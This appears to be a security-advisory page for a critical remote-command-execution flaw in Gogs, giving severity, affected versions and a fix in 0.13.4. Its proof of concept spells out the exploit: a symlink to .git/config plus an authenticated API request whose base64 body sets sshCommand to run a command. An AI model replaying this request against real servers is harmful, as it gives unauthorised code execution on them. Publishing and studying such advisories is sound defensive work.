🛡️ CVE-2025-64111 — gogs

🔴 CVSS 9.8 — Critical ⚠️ Exploit Public CWE-78 NVD
9.8
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

Gogs's update .git/config file allows remote command execution

Summary

Due to the insufficient patch for the https://github.com/gogs/gogs/security/advisories/GHSA-wj44-9vcg-wjq7, it's still possible to update files in the .git directory and achieve remote command execution.

Details

Function UpdateRepoFile security check under some if conditions. While UpdateRepoFile call in API router will NOT match any of them. It's still possible to update .git/config file via API router.

https://github.com/gogs/gogs/blob/d940e692ec58abd45e648c054d7dfd88909034ec/internal/route/api/v1/repo/contents.go#L197-L206

PoC

```bash

# add a symlink file and push to repo.

ln -s .git/config link

git add link

git commit -m 'add' && git push

```

Update file via API router

```http

PUT /api/v1/repos/demo/vul/contents/link HTTP/1.1

Content-Type: application/json

Host: localhost:3000

Authorization: token {token}

{"message":"message","committer":{"name":"test","email":"[email protected]"},"content":"W2NvcmVdCglyZXBvc2l0b3J5Zm9ybWF0dmVyc2lvbiA9IDAKCWZpbGVtb2RlID0gdHJ1ZQoJYmFyZSA9IGZhbHNlCglsb2dhbGxyZWZ1cGRhdGVzID0gdHJ1ZQoJaWdub3JlY2FzZSA9IHRydWUKCXByZWNvbXBvc2V1bmljb2RlID0gdHJ1ZQoJc3NoQ29tbWFuZCA9IHRvdWNoIC90bXAvYWJjCltyZW1vdGUgIm9yaWdpbiJdCgl1cmwgPSBzc2g6Ly9naXRAbG9jYWxob3N0L2RlbW8vdnVsLmdpdAoJZmV0Y2ggPSArcmVmcy9oZWFkcy8qOnJlZnMvcmVtb3Rlcy9vcmlnaW4vKgpbYnJhbmNoICJtYXN0ZXIiXQoJcmVtb3RlID0gb3JpZ2luCgltZXJnZSA9IHJlZnMvaGVhZHMvbWFzdGVy"}

```

Impact

RCE

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality high, integrity high, availability high.

Weakness class

CVE-2025-64111 is classified as CWE-78: OS Command Injection. Untrusted input reaches a shell command without neutralisation, so an attacker can run arbitrary operating system commands.

Affected software

CVE-2025-64111 is recorded against 2 packages.

  • gogs (fixed in 0.13.4)
  • gogs.io/gogs

Timeline and source

Published on 6 February 2026 and last revised on 17 June 2026. A public exploit is known to exist, which raises the urgency of patching considerably. Record sourced from NVD.

References

github.com

Details

Severity CRITICAL
CVSS Score 9.8
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE CWE-78
Public Exploit ⚠️ Yes
Source NVD
Published 2026-02-06
Updated 2026-08-12
Modified 2026-06-17
Fix URL N/A

Affected Packages

Software From version Fixed in
gogs — 0.13.4
gogs.io/gogs — —

Similar Threats

Exploit Protection

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CVE-2025-64111 carries CVSS 9.8 Critical rating and a public exploit already exists. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.

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